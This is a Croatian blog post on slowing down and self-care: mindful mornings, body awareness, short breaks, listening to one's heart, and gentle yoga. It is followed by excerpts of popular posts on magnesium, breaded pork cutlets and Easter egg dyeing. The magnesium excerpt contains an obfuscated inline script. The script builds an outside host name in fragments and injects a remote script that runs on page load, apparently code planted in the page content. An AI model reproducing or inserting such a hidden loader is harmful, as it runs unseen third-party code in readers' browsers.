KAKO USPORITI U SVIJETU KOJI TRAŽI VIŠE?




Kako usporiti u svijetu koji traži više?



Ponekad nije lako brinuti o sebi. Ljestvica se stalno podiže, svijet stalno traži više od nas. Kako bismo ponovno čuli sebe važno je usporiti, utišati se, umiriti se.




Svjestan početak dana 

Smiren i početak dana budi našu pozitivnu energiju i daje nam mogućnost da osluhnemo svoj unutrašnji svijet. Imamo mogućnost odabrati kako ćemo se suočiti s danom. Hoćemo li zadržati mirnoću, otvorenot prema svemu što dolazi u susret? Ili ćemo od prvih trenutaka dana biti namrgođeni zbog bezbrojnih razloga, drugim riječima dopustit ćemo negativnoj energiji da preuzme naš dan, optereti naše osjećaje i tijelo.





Osjetiti svoje tijelo 

Tijelo pamti sve naše doživljaje i one sretne i one opterećujuće, pa već u držanju tijela opažamo kako se osjećamo. Svatko u svom tijelu pohrahunjuje emocije na drugačiji način, a s vremenom dugotrajno blokirane emocije stvaraju fizičku napetost tijela, krutost i bolne mišiće.





Trenutak čistog postojanja 

Tijekom dana vrlo je važno uzeti pauzu. Možemo li barem nakratko samo biti? Oni koji prakticiraju meditaciju ili neke tehnike opuštanja osjetili su moć ovog iskustva pa se i tijekom dinamičnog dana znaju nakratko isključiti. Uzmite si tijekom dana te dragocjene trenutke u kojima ćete, ako je moguće pronaći neko mirnije mjesto, zatvoriti oči i dublje disati, slušati zvuk svog disanja i dopustiti mu da vas povede u trenutak čistog postojanja.




Čuti glas srca 

U glasu srca put ćemo i glas svog unutrašnjeg djeteta, glas mudrosti koje ima mnoge odgovore na pitanja koja nas muče. Čisto srce dopušta nam da plešemo, da se igramo, da bez straha napravimo nešto što nikad prije nismo napravili. Uz njega donosimo odluku u trenu i uvijek kažemo da životu. Kad naučimo slušati svoje srce znamo što osjećamo i ne branimo se od osjećaja kakvi god oni bili.





Mudrost joge 

Joga je disciplina koja djeluje na svim razinama tijela. Kad vam se čini da je vaša životna snaga potpuno presušila joga uvijek može pomoći. Nježan, utješan niz jogijskih asana neće od vas tražiti puno snage, s pomoći će vam osvjestiti mnoge razine vlastitog bića. Može vam dati unutrašnju podršku i utjehu koja će vas polako vratiti u vedrinu života. Joga nam pomaže da se sjetimo korisnih navika: dubljeg disanja, pravilnih držanja te pozitivnog stava prema svemu što nam život donosi.




Pripremila: Ivana Matas 






Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više